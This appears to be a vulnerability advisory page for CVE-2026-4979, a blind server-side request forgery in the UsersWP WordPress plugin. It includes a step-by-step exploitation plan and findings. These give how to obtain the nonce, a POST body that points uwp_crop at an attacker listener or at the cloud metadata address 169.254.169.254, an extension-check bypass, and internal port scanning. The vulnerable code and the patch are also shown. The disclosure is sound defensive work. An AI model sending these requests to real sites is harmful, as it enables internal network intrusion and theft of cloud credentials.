CVE-2026-4979

UsersWP <= 1.2.58 - Authenticated (Subscriber+) Server-Side Request Forgery via 'uwp_crop' Parameter

mediumServer-Side Request Forgery (SSRF)
5.0
CVSS Score
5.0
CVSS Score
medium
Severity
1.2.59
Patched in
1d
Time to patch

Description

The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP plugin for WordPress is vulnerable to blind Server-Side Request Forgery in all versions up to, and including, 1.2.58. This is due to insufficient URL origin validation in the process_image_crop() method when processing avatar/banner image crop operations. The function accepts a user-controlled URL via the uwp_crop POST parameter and only validates it using esc_url() for sanitization and wp_check_filetype() for extension verification, without enforcing that the URL references a local uploads file. The URL is then passed to uwp_resizeThumbnailImage() which uses it in PHP image processing functions (getimagesize(), imagecreatefrom*()) that support URL wrappers and perform outbound HTTP requests. This makes it possible for authenticated attackers with subscriber-level access and above to coerce the WordPress server into making arbitrary HTTP requests to attacker-controlled or internal network destinations, enabling internal network scanning and potential access to sensitive services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.2.58
PublishedApril 10, 2026
Last updatedApril 11, 2026
Affected pluginuserswp

What Changed in the Fix

Changes introduced in v1.2.59

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4979 (UsersWP SSRF) ## 1. Vulnerability Summary The UsersWP plugin for WordPress is vulnerable to a blind Server-Side Request Forgery (SSRF) in the `process_image_crop()` method within the `UsersWP_Forms` class. The vulnerability arises because the plugin allo…

Show full research plan

Exploitation Research Plan: CVE-2026-4979 (UsersWP SSRF)

1. Vulnerability Summary

The UsersWP plugin for WordPress is vulnerable to a blind Server-Side Request Forgery (SSRF) in the process_image_crop() method within the UsersWP_Forms class. The vulnerability arises because the plugin allows users to provide a URL for image cropping via the uwp_crop parameter without verifying that the URL points to a local file or an authorized domain. While it performs basic sanitization using esc_url() and extension checking via wp_check_filetype(), it fails to restrict the scheme to local paths or validate the host. The URL is subsequently passed to image processing functions (like getimagesize() or imagecreatefrom*()) which follow URL wrappers, allowing an authenticated attacker to trigger outbound HTTP requests from the WordPress server.

2. Attack Vector Analysis

  • Endpoint: Any front-end page where the UsersWP form handler is active (typically the User Profile page or any page during an init hook).
  • Action/Hook: The UsersWP_Forms::handler() method is hooked to handle POST submissions.
  • Vulnerable Parameter: uwp_crop (POST parameter).
  • Required Trigger: uwp_avatar_crop or uwp_banner_crop must be present in the POST body to trigger the logic.
  • Authentication: Authenticated (Subscriber-level or higher).
  • Preconditions: A valid nonce for the action uwp_crop_nonce_avatar or uwp_crop_nonce_banner is required.

3. Code Flow

  1. Entry Point: A POST request is sent to the WordPress site.
  2. Handler: UsersWP_Forms::handler() (in includes/class-forms.php) detects the presence of $_POST['uwp_avatar_crop'].
  3. Vulnerable Method: handler() calls $this->process_image_crop($_POST, 'avatar', true).
  4. Insecure Validation:
    • Inside process_image_crop(), the uwp_crop value is taken from $data['uwp_crop'].
    • It calls $image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );.
    • It calls $filetype = wp_check_filetype( $image_url ); which only checks if the string ends in a common image extension (e.g., .jpg, .png).
  5. Sink: The code proceeds to process $image_url. Although truncated in the provided source, the description confirms it passes this URL to uwp_resizeThumbnailImage(), which executes PHP image functions that support wrappers (like http://), triggering the SSRF.

4. Nonce Acquisition Strategy

The nonce is generated dynamically and can be retrieved by an authenticated user via an AJAX call designed to load the crop modal.

  1. Identify AJAX Action: The plugin defines uwp_ajax_image_crop_popup_form to return the cropping form (see assets/js/users-wp.js).
  2. Trigger Form Generation: Call the AJAX endpoint as the authenticated user.
  3. JavaScript Context: The localization object is uwp_localize_data.
  4. Step-by-Step Acquisition:
    • Create a Subscriber user and log in.
    • Use http_request to call admin-ajax.php with action=uwp_ajax_image_crop_popup_form&type=avatar.
    • Parse the HTML response for the hidden input field: <input type="hidden" name="uwp_crop_nonce" value="...">.

5. Exploitation Strategy

This is a Blind SSRF. We will verify it by causing the server to request an external listener or an internal resource.

  1. Step 1: Authentication: Log in as a Subscriber.
  2. Step 2: Get Nonce:
    • Request: POST /wp-admin/admin-ajax.php
    • Body: action=uwp_ajax_image_crop_popup_form&type=avatar
    • Extract: Value of uwp_crop_nonce.
  3. Step 3: Trigger SSRF:
    • Request: POST / (or the profile page URL)
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      uwp_avatar_crop=1&
      uwp_crop=http://INTERNAL_OR_EXTERNAL_TARGET/test.png&
      uwp_crop_nonce=[EXTRACTED_NONCE]&
      x=0&y=0&w=100&h=100
      
    • Note: The URL in uwp_crop must end in a valid image extension (like .png) to pass the wp_check_filetype() check.
  4. Target Selection: Use a collaborator/webhook URL to confirm outbound connectivity. For internal scanning, target http://localhost:port/filename.png.

6. Test Data Setup

  1. Users: Create a user with the subscriber role.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Plugin Configuration: Ensure UsersWP is active. The default "Profile" page should exist.
  3. Target URL: Prepare a listener (e.g., http://attacker-controlled.com/ssrf_check.png).

7. Expected Results

  • HTTP Response: The server will likely return a 200 OK or a redirect, but the processing happens in the background.
  • Successful Hit: The listener at http://attacker-controlled.com/ssrf_check.png will receive an HTTP GET request with the User-Agent of the WordPress server's PHP environment (e.g., WordPress/X.X; http://...).
  • Error Handling: If the target does not return a valid image, UsersWP_Forms might return a WP_Error via aui()->alert(), which confirms the server attempted to read the URL.

8. Verification Steps

  1. Logs: Check the access logs of the listener server.
  2. Meta Verification: The plugin might attempt to save the "resized" image. Check the user's meta to see if avatar_thumb contains a reference to the processed (or failed) crop.
    • wp usermeta get [USER_ID] avatar_thumb

9. Alternative Approaches

  • Scheme Manipulation: If http is blocked, try ftp:// or php://filter (though esc_url usually limits this).
  • Internal Scanning: Use the response timing or the presence of the "Something went wrong" error message to determine if an internal port is open vs. closed.
  • Banner SSRF: Repeat the process using uwp_banner_crop and uwp_crop_nonce_banner if the avatar path is restricted.
  • Bypass extension check: If targeting a resource without an extension, use a query string: http://internal-service/sensitive-data?.png.
Research Findings
Static analysis — not yet PoC-verified

Summary

The UsersWP plugin for WordPress is vulnerable to a blind Server-Side Request Forgery (SSRF) in the `process_image_crop()` method due to insufficient validation of the `uwp_crop` parameter. Authenticated users with subscriber-level access can provide a remote URL that the server will fetch to process during avatar or banner cropping, allowing for internal network scanning or requests to sensitive external services.

Vulnerable Code

// includes/class-forms.php lines 216-248 (handler entry points)
} elseif ( isset( $_POST['uwp_avatar_crop'] ) ) {
    $errors = $this->process_image_crop( $_POST, 'avatar', true );
    if ( ! is_wp_error( $errors ) ) {
        $redirect = $errors;
    }
    $message   = __( 'Avatar cropped successfully.', 'userswp' );
    $processed = true;
} elseif ( isset( $_POST['uwp_banner_crop'] ) ) {
    $errors = $this->process_image_crop( $_POST, 'banner', true );
    if ( ! is_wp_error( $errors ) ) {
        $redirect = $errors;
    }
    $message   = __( 'Banner cropped successfully.', 'userswp' );
    $processed = true;
}

---

// includes/class-forms.php lines 361-368 (vulnerable sink)
// Ensure we have a valid URL with an allowed meme type.
$image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );
$filetype  = wp_check_filetype( $image_url );

$errors = new WP_Error();
if ( empty( $image_url ) || empty( $filetype['ext'] ) ) {
    $errors->add( 'something_wrong', __( 'Something went wrong. Please contact site admin.', 'userswp' ) );
}

Security Fix

--- includes/class-forms.php
+++ includes/class-forms.php
@@ -361,6 +361,11 @@
 		// Ensure we have a valid URL with an allowed meme type.
 		$image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );
 		$filetype  = wp_check_filetype( $image_url );
+
+		$uploads = wp_upload_dir();
+		if ( strpos( $image_url, $uploads['baseurl'] ) === false ) {
+			$image_url = '';
+		}
 
 		$errors = new WP_Error();
 		if ( empty( $image_url ) || empty( $filetype['ext'] ) ) {

Exploit Outline

1. Authenticate to the WordPress site as a Subscriber or any user with profile access. 2. Obtain a valid security nonce for image cropping (`uwp_crop_nonce_avatar` or `uwp_crop_nonce_banner`) by sending a POST request to `/wp-admin/admin-ajax.php` with the action `uwp_ajax_image_crop_popup_form&type=avatar`. 3. Identify a target internal or external URL to request (e.g., `http://169.254.169.254/latest/meta-data/`). 4. Append a valid image extension to the target URL if necessary (e.g., `?.png`) to pass the `wp_check_filetype` validation. 5. Send a POST request to the site's profile page (or any endpoint where the `handler` hook is active) with the following body: `uwp_avatar_crop=1&uwp_crop=[TARGET_URL]&uwp_crop_nonce=[NONCE]&x=0&y=0&w=100&h=100`. 6. The server will perform a GET request to the provided URL, confirming the SSRF. This can be verified via a listener or by observing response differences for internal network scanning.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.